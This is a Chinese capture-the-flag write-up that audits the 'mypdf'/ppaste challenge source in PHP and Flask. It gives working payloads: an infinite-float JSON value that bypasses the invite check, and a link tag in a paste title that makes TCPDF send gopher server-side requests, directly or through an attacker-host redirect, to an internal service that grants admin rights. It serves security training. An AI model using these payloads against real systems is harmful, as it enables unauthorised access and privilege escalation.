今天刚打了一场广东省大学生网络安全竞赛,只能说这比赛十分垃j,这里不细说。但是其中有一题名为“mypdf”是从3KCTF中扒下来的题目,质量很好,值得审计记录,故有此文。
原题:3kCTF-2021 ppaste
拿到这道题的时候,一开始直接放弃了,因为太困了加上队友很给力,完全躺平等着带飞就好了,但是后来发现赛方不上新题加上肯定有很多人py,之前做完的题都被做烂了,于是收到队友的消息发现是原题且带详细解析,直接跑下床做题
刚上手这题,扫到www.zip
审计发现有点没搞懂路由,因为他给的是这样的附件
结合了一下扫出的东西,发现根目录是设置为 html
然后在前一个目录下用 python 起了一个 8082 端口的服务
一开始注册的时候想着直接用 invites.txt 里面的注册码行不行,很明显不行
然后只能仔细分析咯
from flask import Flask,request
import sqlite3
from contextlib import closing
import json
app = Flask(__name__)
def qDB(query,qtype='fetchAll',username=''): #读取数据库的,被/users路由引用
with closing(sqlite3.connect("/var/www/db/mypdf.db")) as connection:
with closing(connection.cursor()) as cursor:
if(qtype=='fetchAll'):
rows = cursor.execute(query).fetchall()
return rows
elif(qtype=='setAdmin' and username!=''):
cursor.execute(
query,
(username,)
)
connection.commit()
return 1
return 0
#注册路由
def invites():
if request.method == 'POST':
myJson = json.loads(request.data)
if(myJson['invite'] in open('/var/www/invites.txt').read().split('\n')): #相当于判断你的邀请码对不对
return json.dumps(True) #成功返回True
else:
return json.dumps(False)
return json.dumps(open('/var/www/invites.txt').read().split('\n'))
#后续用于提升user权限为admin
def users():
if request.method == 'POST':
myJson = json.loads(request.data)
if(myJson['user']): #存在user元素就继续走下去
qDB("UPDATE users SET priv=not(priv) WHERE user=? ","setAdmin",myJson['user']) #提升权限
return json.dumps(True)
else:
return json.dumps(False)
return json.dumps(qDB("SELECT user,priv FROM users"))
def home():
return 'internal console'
app.run(host='127.0.0.1', port=8082)
直接在上面注释,方便边阅读代码边理解了
session_start();
$db = new SQLite3('../db/mypdf.db');
function ci($i){
return SQLite3::escapeString($i);
}
function sqlArray($q){
global $db;
$res = $db->query($q);
$a=array();
while ($row = $res->fetchArray(SQLITE3_ASSOC)) {
$a[]=$row;
}
return $a;
}
function uExists($u){
return (@count(@sqlArray("SELECT * FROM users WHERE user='".ci($u)."'")[0])>0)?True:False;
}
function puts($status,$data=NULL){
header("Content-Type: application/json");
echo json_encode(array(
"STATUS"=>($status===1?"success":"error"),
"DATA"=>($data!==NULL?$data:NULL)
)
);
exit;
}
function qInternal($endpoint,$payload=null){
$url = 'http://localhost:8082/'.$endpoint;
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json'));
if($payload!==null){
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
}
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);
return(@$result?$result:'false');
}
function whoami(){
return @sqlArray("SELECT * FROM users WHERE user='".ci($_SESSION['usr']['user'])."' limit 0,1")[0];
}
function myPastes(){
return @sqlArray("SELECT id,title,content FROM pastes WHERE user='".ci($_SESSION['usr']['user'])."'");
}
一目了然 qInternal 类可控 url 存在 ssrf ,其他类没啥用,不做分析
且 qInternal 类中指定了 8082 端口,一看就是要利用这个ssrf进行访问内网 8082 端口,打内网服务的
include 'common.php';
include '../flag.php';
if (@$_SERVER["REQUEST_METHOD"]!=="POST" OR @$_SERVER["CONTENT_TYPE"]!=="application/json") puts(0);
$uInput=@file_get_contents("php://input");
if(strlen($uInput)>512) puts(0);
$data = json_decode($uInput,true);
if(!is_array($data)) puts(0);
if(is_array(@$data['d'])){
foreach ($data['d'] as $key => $value) {
if(strlen($value)<4) puts(0);
}
}
switch (@$data['action']) {
case 'register':
if(@$data['d']['user'] AND @$data['d']['pass']){
if(!@$data['d']['invite']) puts(0);
$checkInvite = @json_decode(@qInternal("invites",json_encode(array("invite"=>$data['d']['invite']))),true);
if($checkInvite===FALSE) puts(0);
if(uExists($data['d']['user'])) puts(0);
$db->exec("INSERT INTO users(user,pass,priv) VALUES ('".ci($data['d']['user'])."' ,'".ci($data['d']['pass'])."' , '0')");
if($db->lastInsertRowID()){
puts(1);
}else{
puts(0);
}
}
puts(0);
break;
case 'login':
if(@$data['d']['user'] AND @$data['d']['pass']){
$tU=@sqlArray("SELECT * FROM users WHERE user='".ci($data['d']['user'])."' limit 0,1")[0];
if(@count($tU)<1) puts(0);
if(@$data['d']['pass']!==$tU['pass']) puts(0);
$_SESSION['usr']=$tU;
puts(1);
}
puts(0);
break;
case 'pastes':
$tU=whoami();
if(!$tU) puts(0);
puts(1,myPastes());
break;
case 'new':
$tU=whoami();
if(!$tU) puts(0);
if(@$data['d']['title'] AND @$data['d']['content']){
$data['d']['title'] = preg_replace("/\s+/", "", $data['d']['title']);
$db->exec("INSERT INTO pastes(id,title,content,user) VALUES ('".sha1(microtime().$_SESSION['usr']['user'])."', '".ci($data['d']['title'])."' ,'".ci(($data['d']['content']))."' , '".ci($_SESSION['usr']['user'])."')");
if($db->lastInsertRowID()){
puts(1);
}else{
puts(0);
}
}
puts(0);
break;
case 'view':
if(@$data['d']['paste_id']){
$tP=@sqlArray("SELECT * FROM pastes WHERE id='".ci($data['d']['paste_id'])."' limit 0,1")[0];
if(@count($tP)<1) puts(0);
puts(1,$tP);
}
puts(0);
break;
case 'download':
if(@$data['d']['paste_id'] AND @$data['d']['type'] ){
$tP=@sqlArray("SELECT * FROM pastes WHERE id='".ci($data['d']['paste_id'])."' limit 0,1")[0];
if(@count($tP)<1) puts(0);
if($data['d']['type']==='text'){
header('Content-Type: text/plain');
header('Content-Disposition: attachment; filename="'.sha1(time()).'.txt"');
echo str_repeat("-", 80)."\n--------- ".$tP['title']."\n".str_repeat("-", 80)."\n".$tP['content'];
exit;
}
if($data['d']['type']==='_pdf'){
require_once('../TCPDF/config/tcpdf_config.php');
require_once('../TCPDF/tcpdf.php');
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
$pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
$pdf->SetFont('helvetica', '', 9);
$pdf->AddPage();
$html = '<h2>'.$tP['title'].'</h2><br><h2>'.str_repeat("-", 40).'</h2><pre>'.htmlentities($tP['content'],ENT_QUOTES).'</pre>';
$pdf->writeHTML($html, true, 0, true, 0);
$pdf->lastPage();
$pdf->Output(sha1(time()).'.pdf', 'D');
exit;
}
}
puts(0);
break;
case 'admin':
$tU=whoami();
if(!@$tU OR @$tU['priv']!==1) puts(0);
$ret["ok"] =$flag;
puts(1,$ret);
break;
default:
puts(0);
break;
}
puts(0);
exit;
这段代码有点臭且长,主要只看以下部分(将上面的代码做精简):
include 'common.php';
include '../flag.php';
$uInput=@file_get_contents("php://input"); //使用$uInput接收传参
$data = json_decode($uInput,true); //json_decode
if(is_array(@$data['d'])){
foreach ($data['d'] as $key => $value) { //对json传进来的值进行遍历赋值给$key和$value
//$key负责接收元素名 $value接收元素值
if(strlen($value)<4) puts(0); //对元素值的长度得大于4
}
}
switch (@$data['action']) { //对传入的action进行分类判断
case 'register': //如果action的值为register
if(@$data['d']['user'] AND @$data['d']['pass']){ //json嵌套json形式,判断key->user和pass是否存在
if(!@$data['d']['invite']) puts(0); //判断key->invite存在不
$checkInvite = @json_decode(@qInternal("invites",json_encode(array("invite"=>$data['d']['invite']))),true);
//将invites、$data['d']['invite']、true传入 qInternal
//qInternal 就是我们前面说的ssrf点
//接收:function qInternal($endpoint,$payload=null)
//$endpoint 是拼接url达到利用ssrf访问python服务的点
if($checkInvite===FALSE) puts(0); //判断是不是返回FALSE
//下面的都是进行添加用户的操作了
if(uExists($data['d']['user'])) puts(0);
//这里执行了插入语句,将 priv 设置为0
$db->exec("INSERT INTO users(user,pass,priv) VALUES ('".ci($data['d']['user'])."' ,'".ci($data['d']['pass'])."' , '0')");
if($db->lastInsertRowID()){
puts(1);
}else{
puts(0);
}
}
puts(0);
break;
case 'new': //如果action的值为new
$tU=whoami();
if(!$tU) puts(0);
if(@$data['d']['title'] AND @$data['d']['content']){ //判断key->title和content是不是空
$data['d']['title'] = preg_replace("/\s+/", "", $data['d']['title']); //进行一次正则匹配
$db->exec("INSERT INTO pastes(id,title,content,user) VALUES ('".sha1(microtime().$_SESSION['usr']['user'])."', '".ci($data['d']['title'])."' ,'".ci(($data['d']['content']))."' , '".ci($_SESSION['usr']['user'])."')");
if($db->lastInsertRowID()){
puts(1);
}else{
puts(0);
}
}
puts(0);
break;
case 'download': //如果action的值为download
if(@$data['d']['paste_id'] AND @$data['d']['type'] ){
//some useless code....
}
if($data['d']['type']==='_pdf'){
require_once('../TCPDF/config/tcpdf_config.php');
require_once('../TCPDF/tcpdf.php'); //引用包含了我们的漏洞组件
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
$pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
$pdf->SetFont('helvetica', '', 9);
$pdf->AddPage();
$html = '<h2>'.$tP['title'].'</h2><br><h2>'.str_repeat("-", 40).'</h2><pre>'.htmlentities($tP['content'],ENT_QUOTES).'</pre>';
$pdf->writeHTML($html, true, 0, true, 0);
$pdf->lastPage();
$pdf->Output(sha1(time()).'.pdf', 'D');
exit;
}
}
puts(0);
break;
case 'admin': //如果action的值为admin
$tU=whoami(); //执行 common.php 下的 whoami 类
if(!@$tU OR @$tU['priv']!==1) puts(0); //这里对执行完whoami类进行判断是不是为空或者权限是不是admin
$ret["ok"] =$flag; //输出flag!!!!!!!
puts(1,$ret);
break;
default:
puts(0);
break;
}
上面的代码很清楚,想要获得flag就得有admin权限
想要注册用户以及提升权限就得结合 common.php 和 internal.py 进行操作
api.php就相当于一个route路由控制器
想要admin权限,前提是有个账户吧,所以得注册
注册呢,又绕不开验证码,所以得想办法去bypass这个 invites
想看“控制器”如何进入路由访问到common.php
这里的1、2、3、4步骤就是进入的代码了
显而易见可以构造
{"action":"register"}
进入路由还有个判断,继续构造
{
"action":"register",
"d":{
"user":"hehanzzz",
"pass":"hehanzzz123",
"invite":""
}
}
比较sb的就是,我构造完才发现,原来有gui界面…还构造个卵子,但是上面有一点需要注意的是
最上面有一行 if(strlen($value)<4) puts(0); 所以所有的 value 长度要大于4
接下来就是绕过 invite 了,因为 invite 是从他服务器上读取的,没法利用www.zip下的invite,我们也没法直接读取
故需要bypass
(这里直接抄文章的了)
json_encode在处理INF时会返回一个false,如下:
<?php
$f=3.3e99999999999999;
var_dump($f);
var_dump(json_encode(array("a"=>$f)));
//float(INF)
//bool(false)
那么这会使得其发送一个空的post请求给内网的api,此时因为接收不到request.data会导致500错误,此时curl得到的结果是NULL,而其判断是使用的:
return(@$result?$result:'false');
此时得到了一个NULL:
<?php
var_dump(json_decode("NULL",true));
//NULL
payload:
{"action":"register","d":{"user":"hehanzzz","pass":"hehanzzz123","invite":-3.3e99999999999999}}
注册完后,回到主页面进行添加文章,我们可以看到文章详细页有个下载pdf,放入标题时,发现可以成功解析到html标签
$data['d']['title'] = preg_replace("/\s+/", "", $data['d']['title']);
但是这不是漏洞点,别忘记了这个题目的标题叫什么,故需要从download路由下手分析
case 'download':
if(@$data['d']['paste_id'] AND @$data['d']['type'] ){
//some useless code....
}
if($data['d']['type']==='_pdf'){
require_once('../TCPDF/config/tcpdf_config.php');
require_once('../TCPDF/tcpdf.php');
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
$pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
$pdf->SetFont('helvetica', '', 9);
$pdf->AddPage();
$html = '<h2>'.$tP['title'].'</h2><br><h2>'.str_repeat("-", 40).'</h2><pre>'.htmlentities($tP['content'],ENT_QUOTES).'</pre>';
$pdf->writeHTML($html, true, 0, true, 0);
$pdf->lastPage();
$pdf->Output(sha1(time()).'.pdf', 'D');
exit;
}
}
puts(0);
break;
因为是跟html解析有关系,所以优先选择跟入writeHTML,writeHTML
类的代码太多了,只把主要的放出来分析
这里如何定位哪些是我们需要的,很简单,看哪些是我们可控的就好了
很明显可控的就是 $html , 所以我们只需要跟进去
在17272行可以找到
public function writeHTML($html, $ln=true, $fill=false, $reseth=false, $cell=false, $align='') {
$dom = $this->getHtmlDomArray($html);
}
继续跟进 getHtmlDomArray
/**
* 该函数用于从HTML内容中提取link标签中type为"text/css"且media为"all"或"print"的CSS属性。
*
* @param string $html 要解析的HTML内容。
* @return array 包含从HTML link标签中提取的CSS属性的数组。
*/
protected function getHtmlDomArray($html) {
$matches = array();
// 正则表达式匹配HTML link标签
if (preg_match_all('/<link([^\>]*)>/isU', $html, $matches) > 0) {
foreach ($matches[1] as $key => $link) {
$type = array();
// 检查link标签是否包含type="text/css"
if (preg_match('/type[\s]*=[\s]*"text\/css"/', $link, $type)) {
$type = array();
// 提取media属性值
preg_match('/media[\s]*=[\s]*"([^"]*)"/', $link, $type);
// 仅处理media为'all'或'print'的情况,丢弃其他media类型
// (all, braille, embossed, handheld, print, projection, screen, speech, tty, tv)
if (empty($type) OR (isset($type[1]) AND (($type[1] == 'all') OR ($type[1] == 'print')))) {
$type = array();
// 提取href属性值(CSS文件的URL)
if (preg_match('/href[\s]*=[\s]*"([^"]*)"/', $link, $type) > 0) {
$href = trim($type[1]); // 提取到的CSS文件的URL
// 读取CSS数据文件
$cssdata = TCPDF_STATIC::fileGetContents($href);
// 如果CSS数据有效且非空,则提取CSS属性
if (($cssdata !== FALSE) AND (strlen($cssdata) > 0)) {
$css = array_merge($css, TCPDF_STATIC::extractCSSproperties($cssdata));
}
}
}
}
}
}
}
根据注释不难发现,匹配HTML link标签时,先匹配页面中所有符合外层正则link的html,检查link标签是否包含type=”text/css”,处理media为’all’或’print’的情况,丢弃其他media类型,提取href属性值
然后进入到关键的 TCPDF_STATIC 类下的 fileGetContents 函数中
根据上图注释,我们也可以直接知道,1961行的 file_exists
方法是关键,因为他是后面 curl 的 url
跟进去看看
public static function file_exists($filename) {
if (preg_match('|^https?://|', $filename) == 1 or preg_match('|^gopher://|', $filename) == 1) {
return self::url_exists($filename);
}
if (strpos($filename, '://')) {
return false; // only support http and https wrappers for security reasons
}
return @file_exists($filename);
}
这里会进行判断是否使用http或https协议以及 gopher协议
(这里就是与原题唯一的改动,至于为什么后续会说,一开始我也没关注到这里)
如果是上面的协议就进入 url_exists 方法
public static function url_exists($url) {
$crs = curl_init();
// encode query params in URL to get right response form the server
$url = self::encodeUrlQuery($url);
curl_setopt($crs, CURLOPT_URL, $url);
curl_setopt($crs, CURLOPT_NOBODY, true);
curl_setopt($crs, CURLOPT_FAILONERROR, true);
//关键点来啦!!!
if ((ini_get('open_basedir') == '') && (!ini_get('safe_mode'))) {
curl_setopt($crs, CURLOPT_FOLLOWLOCATION, true);
}
curl_setopt($crs, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($crs, CURLOPT_TIMEOUT, 30);
curl_setopt($crs, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($crs, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($crs, CURLOPT_USERAGENT, 'tc-lib-file');
curl_exec($crs);
$code = curl_getinfo($crs, CURLINFO_HTTP_CODE);
curl_close($crs);
return ($code == 200);
}
需要满足open_basedir==''
和没有设置safe_mode
,该方法将获取启用重定向的给定 URL
关键在于这两个点是php默认配置
所以前面的 gopher协议生效,可以ssrf打内网python服务
结合以下前面的拿flag条件,可以找到,要提升权限
因为前面注册用户的时候执行了 priv 为 0
$db->exec("INSERT INTO users(user,pass,priv) VALUES ('".ci($data['d']['user'])."
得去设置为1,即为提权为admin,即为触发python服务下的/users
仅通过正则表达式执行糟糕的协议,启用了重定向,可能会使用 GOPHER,因此我们可以与任何 protcol 进行原始 tcp 对话
根据 /users 路由:
def users():
if request.method == 'POST':
myJson = json.loads(request.data)
if(myJson['user']):
qDB("UPDATE users SET priv=not(priv) WHERE user=? ","setAdmin",myJson['user'])
return json.dumps(True)
else:
return json.dumps(False)
return json.dumps(qDB("SELECT user,priv FROM users"))
只需要传入一个存在user键的json串即可,即:
{"user":"USERMANE"}
所以payload为:
<linktype="text/css"href="http://[%YOUR_HOST%]/redirect">
在vps下设置gopher 的重定向,对内部 API 执行 POST 请求
location: gopher://localhost:8082/_POST%20%2Fusers%20HTTP%2F1.1%0AHost%3A%20localhost%0AContent-Length%3A%2024%0AContent-type%3A%20application%2Fjson%0A%0A%7B%22user%22%3A%22USERNAME%22%7D
然后请求
POST /api.php HTTP/1.1
Host: *
Content-Length: 18
Content-Type: application/json
{"action":"admin"}
即可得到flag
但是=.=
这台机器不出网,不能这么打
前面有提到过,这题与原题多了一个 gopher
协议的正则匹配
所以,我们可以直接利用 gopher
协议去打,不需要vps去配合跳转(所以它算是魔改了TCPDF组件来满足我们获取flag的条件)
故payload为:(需要注意的是,这里的user是另一个用户的,并未发送请求包的这个用户)
{"action":"new","d":{"title":"<linktype=\"text/css\"href=\"gopher://localhost:8082/_POST%20/users%20HTTP/1.1%0D%0AHost%3A%20localhost%0D%0AContent-Length%3A%2018%0D%0AContent-type%3A%20application/json%0D%0A%0D%0A%7B%22user%22%3A%22hhhm123%22%7D%0D%0A\">","content":"123123123123123123123"}}
再去下载PDF进行触发,然后请求api.php,得到flag
{"action":"admin"}
这里的ok就是flag